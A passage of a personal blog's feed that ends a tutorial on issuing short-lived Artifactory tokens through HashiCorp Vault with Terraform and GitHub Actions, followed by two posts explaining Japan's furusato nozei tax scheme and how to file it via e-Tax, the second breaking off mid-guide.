    &lt;span class=&quot;nx&quot;&gt;ignore_changes&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data_json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;data_json&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;-&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOT&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
{
  &quot;url&quot;: &quot;${local.artifactory_host}&quot;,
  &quot;access_token&quot;: &quot;${var.initial_artifactory_token}&quot;
}
&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOT
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The docs recommend &lt;a href=&quot;https://github.com/jfrog/vault-plugin-secrets-artifactory#vault:~:text=OPTIONAL%2C%20but%20recommended%3A%20Rotate%20the%20admin%20token%2C%20so%20that%20only%20Vault%20knows%20it.&quot;&gt;rotating the token so that only vault knowns it&lt;/a&gt;, but that didn’t work for me with non-admin tokens.&lt;/p&gt;

&lt;h1 id=&quot;5-create-a-role&quot;&gt;5. Create a role&lt;/h1&gt;

&lt;p&gt;Configure a role (an identity the Artifactory plugin can issue tokens for). Use the username for the user that the token belongs to.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;vault write artifactory/roles/test &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;my-user@example.com&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;scope&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;applied-permissions/user&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;default_ttl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1h &lt;span class=&quot;nv&quot;&gt;max_ttl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;3h
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;or the same with terraform:&lt;/p&gt;

&lt;div class=&quot;language-hcl highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;resource&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;vault_generic_endpoint&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;test_role&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;path&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;${vault_mount.artifactory.path}/roles/test&quot;&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;data_json&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;-&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOT&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
{
  &quot;username&quot;: &quot;${var.artifactory_username}&quot;,
  &quot;scope&quot;: &quot;applied-permissions/user&quot;,
  &quot;default_ttl&quot;: &quot;1h&quot;,
  &quot;max_ttl&quot;: &quot;3h&quot;
}
&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOT

&lt;/span&gt;  &lt;span class=&quot;nx&quot;&gt;depends_on&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;vault_generic_endpoint&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;get-a-short-lived-artifactory-token&quot;&gt;Get a short-lived Artifactory token&lt;/h1&gt;

&lt;p&gt;Assuming authenticated to vault, one can obtain a short-lived Artifactory token for this role by:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;vault &lt;span class=&quot;nb&quot;&gt;read &lt;/span&gt;artifactory/token/test
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;See &lt;a href=&quot;https://github.com/jfrog/vault-plugin-secrets-artifactory#vault:~:text=Example%20output%20(token%20truncated)%3A&quot;&gt;output format here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Alternatively with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jq&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;ARTIFACTORY_TOKEN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;curl &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
      &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;X-Vault-Token: &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$VAULT_TOKEN&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
      &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; GET &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
      &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;VAULT_URL&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/v1/artifactory/token/test&quot;&lt;/span&gt; | jq &lt;span class=&quot;nt&quot;&gt;-j&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;.data.access_token&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;github-action&quot;&gt;Github action&lt;/h1&gt;

&lt;p&gt;If using Github actions, it is recommended to setup a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jwt&lt;/code&gt; backend in vault to trust &lt;a href=&quot;https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect&quot;&gt;Github’s OIDC issuer&lt;/a&gt;, and configure a vault role that the workflow can to read the artifactory token path.&lt;/p&gt;

&lt;p&gt;To set this all up in terraform:&lt;/p&gt;

&lt;div class=&quot;language-hcl highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;resource&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;vault_jwt_auth_backend&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;github&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;path&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;github&quot;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;jwt&quot;&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;bound_issuer&lt;/span&gt;       &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;https://token.actions.githubusercontent.com&quot;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;oidc_discovery_url&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;https://token.actions.githubusercontent.com&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;resource&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;vault_policy&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;access-policy&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;test-artifactory-token&quot;&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;policy&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOT&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
path &quot;${vault_mount.artifactory.path}/token/test&quot; {
  capabilities = [&quot;read&quot;]
}
&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOT
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;resource&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;vault_jwt_auth_backend_role&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;access-role&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;backend&lt;/span&gt;        &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;vault_jwt_auth_backend&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;github&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;path&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;role_name&lt;/span&gt;      &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;artifactory-access-role&quot;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;token_policies&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;vault_policy&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;access&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;policy&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;bound_claims&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;s2&quot;&gt;&quot;iss&quot;&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;https://token.actions.githubusercontent.com&quot;&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s2&quot;&gt;&quot;repository&quot;&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;repository&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;#e.g. octo-org/octo-repo&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;bound_claims_type&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;glob&quot;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;user_claim&lt;/span&gt;        &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;aud&quot;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;role_type&lt;/span&gt;         &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;jwt&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once it’s setup, add the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id-token: write&lt;/code&gt; &lt;a href=&quot;https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#adding-permissions-settings&quot;&gt;permission&lt;/a&gt; to your workflow and then do:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Get Artifactory token&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;hashicorp/vault-action@v2&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;jwt&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;$&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;github&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# if followed the setup above&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;role&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;artifactory-access-role&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# if followed the setup above&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;secrets&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;|&lt;/span&gt;
      &lt;span class=&quot;s&quot;&gt;artifactory/token/test access_token | ARTIFACTORY_TOKEN&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In subsequent steps you can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$ARTIFACTORY_TOKEN&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$&lt;/code&gt; to get the token. Don’t worry, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hashicorp/vault-action&lt;/code&gt; marks the value as sensitive, so it won’t show up in the workflow logs.&lt;/p&gt;

&lt;h1 id=&quot;deleting-the-artifactory-vault-backend&quot;&gt;Deleting the artifactory vault backend&lt;/h1&gt;

&lt;p&gt;When trying to delete the artifactory vault backend (either manually via the vault cli, on the web UI or via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;terraform destroy&lt;/code&gt;) it often gives this error:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;│ Error: error deleting from Vault: Error making API request.
│ 
│ URL: DELETE https://vault:8200/v1/sys/mounts/artifactory
│ Code: 400. Errors:
│ 
│ &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; failed to revoke &lt;span class=&quot;s2&quot;&gt;&quot;artifactory/token/test/pugsqUqIsLfj4pJaWgraLAr4.mpllx&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1 / 1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;: failed to revoke entry: resp: &amp;amp;logical.Response&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;Secret:&amp;lt;nil&amp;gt;, Auth:&amp;lt;nil&amp;gt;, Data:map[string]interface &lt;span class=&quot;o&quot;&gt;{}{&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;error&quot;&lt;/span&gt;:&lt;span class=&quot;s2&quot;&gt;&quot;backend not configured&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;, Redirect:&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;, Warnings:[]string&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;nil&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, WrapInfo:&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;wrapping.ResponseWrapInfo&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;nil&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, Headers:map[string][]string&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;nil&lt;span class=&quot;o&quot;&gt;)}&lt;/span&gt; err: %!w&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&amp;lt;nil&amp;gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
│
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;My understanding is that this fails as there are tokens generated by the backend that are still valid, and vault tries to revoke them but fails (likely because the setup token is not an admin). Running the following commands seem to resolve the issue:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;vault lease revoke -force -prefix artifactory
vault token revoke artifactory/token/test/pugsqUqIsLfj4pJaWgraLAr4.mpllx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Adding Furusato nozei to e-Tax</title>
   <link href="https://szabo.jp/2023/07/29/furusato-nozei-with-e-tax/"/>
   <updated>2023-07-29T00:00:00+00:00</updated>
   <id>https://szabo.jp/2023/07/29/furusato-nozei-with-e-tax</id>
   <content type="html">&lt;p&gt;How to indicate furusato nozei when filing taxes online. (To learn about furusato nozei, see &lt;a href=&quot;/2023/07/29/furusato-nozei-end-to-end/&quot;&gt;Furusato nozei - end to end guide&lt;/a&gt;.)&lt;/p&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;1-get-the-xml-file-with-the-furusato-nozei-amount&quot;&gt;1. Get the xml file with the furusato nozei amount&lt;/h1&gt;

&lt;p&gt;Most furusato websites provide a digitally signed xml file (&lt;a href=&quot;https://www.furusato-tax.jp/feature/a/2022_tax_return&quot;&gt;寄附金控除に関する証明書&lt;/a&gt;, Certificate of Donation Deduction), e.g. &lt;a href=&quot;https://www.furusato-tax.jp/feature/a/2022_tax_return&quot;&gt;ふるさとチョイス&lt;/a&gt;. Request and download this.&lt;/p&gt;

&lt;h1 id=&quot;2-upload-the-xml-file-to-e-tax&quot;&gt;2. Upload the xml file to e-Tax&lt;/h1&gt;

&lt;p&gt;When filing &lt;a href=&quot;https://www.keisan.nta.go.jp/kyoutu/ky/sm/top#bsctrl&quot;&gt;Japanese income tax online&lt;/a&gt; there is a step called 所得控除の入力, Entering Income Deductions. This usually comes pre-filled with some default deductions:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2023-07-29-furusato-nozei-with-e-tax/deductions-page.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To add furusato nozei, select 寄附金控除, Donation deduction, which opens this page:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2023-07-29-furusato-nozei-with-e-tax/donation-deduction.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Select and upload the xml file. After it parses the file, it should show the amount:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2023-07-29-furusato-nozei-with-e-tax/furusato-overview.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After clicking 入力 one can see all the individual donations:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2023-07-29-furusato-nozei-with-e-tax/furusato-details.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Accept it with 入力終了 and it should show up in the 所得控除の入力 summary table.&lt;/p&gt;

&lt;p&gt;That’s it. Complete the tax return, if you are eligible for tax refund, specify the way you want to receive it (e.g. bank transfer), and wait for it to arrive.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Furusato nozei - end to end guide</title>
   <link href="https://szabo.jp/2023/07/29/furusato-nozei-end-to-end/"/>
   <updated>2023-07-29T00:00:00+00:00</updated>
   <id>https://szabo.jp/2023/07/29/furusato-nozei-end-to-end</id>
   <content type="html">&lt;p&gt;What is furusato nozei, a bit of history, and how you can do it end to end. This won’t be short, but I try my best to provide the full picture with all the details. &lt;em&gt;While I do my best to keep this information accurate, if you find any inaccuracies, please &lt;a href=&quot;https://github.com/markszabo/markszabo.github.io/issues&quot;&gt;let me know&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;1-what-is-furusato-nozei&quot;&gt;1. What is furusato nozei?&lt;/h1&gt;

&lt;p&gt;Furusato nozei (ふるさと納税), or home-town tax payment is a scheme by Japan that allows Japanese tax payers to redirect part of their income tax to a city other than where they currently live.
The receiving cities often send some thank you gift in exchange for this, and there are websites set up like webshops where one can choose the city based on the desired gift.&lt;/p&gt;

&lt;p&gt;Although &lt;a href=&quot;#6.-History&quot;&gt;the original intention&lt;/a&gt; was to let people who moved from the countryside to the city support their old hometown, &lt;a href=&quot;https://www.soumu.go.jp/main_sosiki/jichi_zeisei/czaisei/czaisei_seido/furusato/faq/#q2&quot;&gt;there is no requirement on which city one can redirect their tax to&lt;/a&gt;, and the program is open for foreigners too (as long as they pay income tax in Japan).&lt;/p&gt;

&lt;p&gt;While in the end furusato nozei is about redirecting part of your income tax, in practice one needs to make an out of pocket donation to the desired city in a given calendar year, and then receive tax refund and/or tax break in the next calendar year equivalent to the donated amount minus 2,000 yen (this is a fixed fee for using the system). So at the end of the day, one can get some gifts in exchange for 2,000 yen plus a bit of paperwork.&lt;/p&gt;

&lt;h1 id=&quot;2-income-tax&quot;&gt;2. Income tax&lt;/h1&gt;

&lt;p&gt;Furusato nozei allows one to redirect part of their income tax, so we need to understand income tax first to fully understand furusato nozei.&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://www.jetro.go.jp/en/invest/setting_up/section3/page7.html&quot;&gt;income tax&lt;/a&gt; consist of two main parts:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;the national income tax (個人所得税): a progressive tax rate of 5% to 45%&lt;/li&gt;
  &lt;li&gt;residence tax (個人住民税, individual inhabitant tax) a flat 10% split into two parts:
    &lt;ul&gt;
      &lt;li&gt;Prefectural tax (都道府県民税) of 4%&lt;/li&gt;
      &lt;li&gt;Municipal tax (区市町村民税) of 6%&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Payment timelines are different for these:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;national income tax is generally paid in the year when the income is received. For salaried employees their company usually withholds it, and then does a final adjustment in December (YETA, Year-End Tax Adjustment, 年末調整). If one files tax return (確定申告, kakutei shinkoku) in February-March next year, it is possible to pay more tax then or receive a tax refund.&lt;/li&gt;
  &lt;li&gt;residence tax is based on the prior calendar year’s income and calculated in June each year. So the residence tax of May 2023 is still based on the income of 2021. Then from June 2023 until May 2024 the residence tax is based on the income of 2022 and so on.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Sidenote&lt;/strong&gt;: for foreigners this also results in not having to pay any residence tax until their second year’s June, and often a reduced amount even for that year. E.g. if someone moved to Japan in July 2021, they would start paying residence tax in June 2022, but that would be based on their 2021 income (received in Japan), which is only 6 month’s income, thus the residence tax paid from June 2022 to May 2023 will be around half of what they will need to pay from June 2023, assuming no changes in income.&lt;/p&gt;

&lt;p&gt;Furusato nozei is deducted from both the national income tax and the residence tax using a &lt;a href=&quot;https://www.soumu.go.jp/main_sosiki/jichi_zeisei/czaisei/czaisei_seido/furusato/mechanism/deduction.html&quot;&gt;rather complicated formula&lt;/a&gt;. If you have to file your taxes online, this calculation is taken care of by the website, and if you don’t need to file taxes (and using the one-step exception process described below), then the entire amount is deducted from your residence tax bill of next year.&lt;/p&gt;

&lt;h1 id=&quot;3-the-amount&quot;&gt;3. The amount&lt;/h1&gt;

&lt;p&gt;Since furusato nozei is a donation, there is no upper limit on how much one can donate, but there is a limit on how much tax refund/break one can get. Since &lt;a href=&quot;https://www.soumu.go.jp/main_sosiki/jichi_zeisei/czaisei/czaisei_seido/furusato/mechanism/deduction.html&quot;&gt;the calculation&lt;/a&gt; is a bit complex, the &lt;a href=&quot;https://www.soumu.go.jp/main_sosiki/jichi_zeisei/czaisei/czaisei_seido/furusato/mechanism/deduction.html#block02&quot;&gt;official site&lt;/a&gt; has some example amounts based on income and family composition. Many furusato nozei websites also have &lt;a href=&quot;https://www.furusato-tax.jp/about/simulation&quot;&gt;their own calculators&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It’s important to keep in mind that the maximum tax refund/break essentially depends on the amount of tax paid, so if you are eligible for any income tax deductions (dependent, medical expenses, eartquake insurance, etc.), those will reduce the amount of furusato nozei you can do. I usually leave a ~20% safety margin between what I could use (based on the online calculators) and what I actually use.&lt;/p&gt;

&lt;p&gt;Also this depends on the tax paid in a calendar year, and due to the progressive tax rate if you are a high income earner and loose some expected income (e.g. part of your bonus), since that comes out of your highest income tax rate it will disproportionally reduce the furusato nozei amount. For example: going from 1100万円 to 1000万円 income (9% decrease) reduces the furusato nozei maximum amount from 218,000 yen to 180,000 yen (17% decrease). Thus many people often only do furusato nozei towards the end of the year, when their yearly income is mostly finalized and unlikely to change.&lt;/p&gt;

&lt;p&gt;Also due to the progressive tax rate, the amounts grow much faster than the income:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;450万円 income (&lt;a href=&quot;https://www.nta.go.jp/publication/statistics/kokuzeicho/minkan/gaiyou/2021.htm#:~:text=%E3%81%AE%E5%A2%97%E5%8A%A0%EF%BC%89%E3%81%A7%E3%80%81-,%E3%81%9D%E3%81%AE%E5%B9%B3%E5%9D%87%E7%B5%A6%E4%B8%8E%E3%81%AF443%E4%B8%87%E5%86%86,-%EF%BC%88%E5%90%8C2.4%EF%BC%85%E5%A2%97&quot;&gt;national average&lt;/a&gt;) -&amp;gt; 5.2万円 furusato nozei (assuming no dependent or other deductions)&lt;/li&gt;
  &lt;li&gt;1000万円 income 18万円 furusato nozei&lt;/li&gt;
  &lt;li&gt;1500万円 income 39.5万円 furusato nozei&lt;/li&gt;
  &lt;li&gt;2000万円 income 56.9万円 furusato nozei&lt;/li&gt;
  &lt;li&gt;2500万円 income 85.5万円 furusato nozei&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;(&lt;a href=&quot;https://www.soumu.go.jp/main_sosiki/jichi_zeisei/czaisei/czaisei_seido/furusato/mechanism/deduction.html#block02&quot;&gt;source&lt;/a&gt;)&lt;/p&gt;

&lt;h1 id=&quot;4-paperwork&quot;&gt;4. Paperwork&lt;/h1&gt;

